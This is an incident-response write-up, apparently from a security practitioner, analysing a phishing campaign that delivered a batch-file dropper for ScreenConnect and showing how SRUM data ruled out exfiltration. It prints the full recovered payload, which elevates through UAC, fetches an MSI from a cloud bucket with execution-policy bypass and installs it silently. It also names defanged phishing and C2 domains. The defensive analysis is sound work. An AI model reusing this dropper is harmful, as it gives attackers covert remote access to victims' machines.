Dissecting a ScreenConnect phishing attack: from bat file to SRUM

Written March 2026, from an enterprise incident I worked. Published here September 2026.
Anonymized Our organization, the nature of the sensitive data on the machine, the partner agency and the compromised third-party sender domain are generalized. Attacker infrastructure and hashes are shown as observed.
Outcome RMM tool never installed. Exfiltration ruled out with SRUM. File-server auditing stood up mid-incident.

Initial detection

The endpoint agent fired on a malicious download, W32.06B3AF2617-90.SBX.TG, disposition Malicious, risk score 100. The file was Doc38964834-PDF.bat, downloaded via Chrome to the user's Downloads folder. Over the next hour the agent logged 17 detections, 10 quarantine failures and 7 successful quarantines.

The machine was isolated from the network and its AD computer object disabled. We killed all Chrome processes remotely over CIM/DCOM and started pulling trajectory data through the API.

The phishing campaign

Email-gateway logs showed a coordinated campaign: seven emails from different addresses on a single compromised third-party domain, all sent at the same timestamp, all routed through Google's smtp-relay. Subject lines were AP and invoice lures with unique reference numbers.

Four of seven made it through, scored 1.2 against a kill threshold of 3.0. The other three were blocked at 4.5 and 9.5. The attackers hit multiple distribution lists, a shared mailbox and individual users directly. Sixteen users were potentially exposed.

Attack chain

Chrome history and endpoint trajectory gave us the full chain:

1. User receives a phishing email linking to beaglermap[.]com
2. Landing page disguised as "View & Sign Form" (a DocuShare lookalike)
3. Page delivers Doc38964834-PDF.bat (1,486 bytes)
4. The bat file connects to C2 at nacionalrastreamento[.]com[.]br
5. Payload attempts to download and silently install ScreenConnect from a Cloudflare R2 bucket

Recovering the payload

The agent quarantined the bat file before it finished executing, and it was no longer on disk. But the quarantine vault stores copies. We found seven in C:\Program Files\Cisco\AMP\Quarantine\. They are encrypted, but with single-byte XOR. A quick script tries all 256 keys:

data = open('quarantined_file.qrt', 'rb').read()
for key in range(256):
    decoded = bytes([b ^ key for b in data])
    if b'@echo' in decoded:
        print(f'Key: 0x{key:02X}')
        print(decoded.decode('ascii', errors='replace'))
        break

Key was 0x77. The full payload:

@echo off
setlocal EnableDelayedExpansion
net session >nul 2>&1
if %errorlevel% neq 0 (
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)
set "URL=https://[redacted].r2.dev/[path]/ScreenConnect.ClientSetup.msi"
set "FILENAME=%TEMP%\ScreenConnect.ClientSetup.msi"
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"Invoke-WebRequest -Uri '%URL%' -OutFile '%FILENAME%'"
msiexec /i "%FILENAME%" /qn /norestart
del "%FILENAME%" /f /q

An RMM-abuse attack. The bat file tries to auto-elevate via UAC, downloads a ScreenConnect (ConnectWise Control) MSI from a Cloudflare R2 bucket, and installs it silently. Persistent remote access through a legitimate tool that blends in with IT software.

The data exposure question

Here is where it got serious. The user works with confidential case files. Chrome history showed they had been downloading sensitive documents from a partner agency's managed file-transfer service and from a court e-filing platform in the days around the infection, including files naming individuals. The machine also had mapped drives to shares holding case documents and attachments.

The question: did any of it get out?

SRUM analysis

The System Resource Usage Monitor tracks per-process network byte counts in hourly buckets, stored as an ESE database at C:\Windows\System32\sru\srudb.dat. We copied it via VSS and parsed it with SrumECmd.

The infection hour (infection at 31 minutes past):

Chrome sent 272 KB during the infection hour. You cannot exfiltrate case files in 272 KB. No unknown or suspicious process appeared with network activity. All traffic attributed to known applications.

The following hour showed Chrome sending 36 MB and receiving 123 MB, but Chrome history confirmed the user was downloading court PDFs from the e-filing platform in that window. Normal activity.

False positives

rpcnet.exe in C:\Windows\SysWOW64\, registered as a service, looked like persistence. It is the legitimate Absolute Software (Computrace) endpoint agent, verified by its EV code-signing certificate. Sandbox gave it 7/10 because endpoint-management tools trigger the same heuristics as malware: persistence, privilege escalation, system modification.

Port 33370 connections to internal IPs looked like lateral movement. Traced to ldiscnupdate.exe, the Ivanti (LANDesk) management agent. Normal traffic.

Forensic imaging

We imaged the NVMe with CAINE via Ventoy on a USB drive. A newer laptop with a recent chipset made it interesting:

• Porteus 5.0: kernel too old for the I2C-HID keyboard controller. Internal and external keyboards dead. Locked up.
• Paladin: locked up before GRUB. RAID/AHCI switch, VMD disabled, different USB ports. Nothing.
• CAINE via Ventoy: booted. Guymager for E01 imaging to an external drive.

Always have multiple forensic distros ready. New hardware will break at least one of them.

Standing up auditing mid-incident

When we went to the file-server access logs to see what the user had touched on the sensitive shares, we found nothing. Zero Security events. File-access auditing was not enabled on any file server.

So we fixed it during the incident: auditpol to enable File System, File Share and Detailed File Share auditing (success and failure); SACLs on the sensitive share paths; Splunk Universal Forwarder deployed to every file server, forwarding Security logs.

Within 30 minutes we had 228K file-access events flowing in. One account was generating 174K of them alone: the endpoint agent's sfc.exe scanner walking the shared drive. Filtered out:

index=* (host=fileserver*) EventCode=5145
  NOT Process_Name="*\\sfc.exe"
  NOT Account_Name="*$"
| stats count by Account_Name, Share_Name
| sort -count

Not ideal to deploy monitoring during an IR, but the alternative was zero visibility for the next incident too.

Key takeaways

SRUM is invaluable. Per-process network bytes in hourly buckets. It is the difference between "we don't know" and "we know." Collect it early: esentutl /y /vss copies the locked file.

Quarantine files are recoverable. Single-byte XOR. Do not assume the payload is gone because the agent quarantined it.

RMM abuse is the new RAT. Block unauthorized RMM tools at the policy level.

Targeted phishing is hard to stop at the gateway. Score 1.2 against 3.0, DKIM and SPF passing. One of sixteen users clicked.

File-access auditing should be on before you need it. We got lucky with SRUM. Next time the artifact might not be there.

Have multiple forensic boot options. Ventoy with CAINE, Paladin and Porteus on one USB.

IOCs

Tools Endpoint detection and trajectory API · CAINE and Guymager · SrumECmd (Eric Zimmerman) · Python for XOR recovery and Chrome history · Splunk Universal Forwarder · email-gateway log analysis · PowerShell over CIM/DCOM

← All research · Back to case 1: hunting through Chrome Incognito →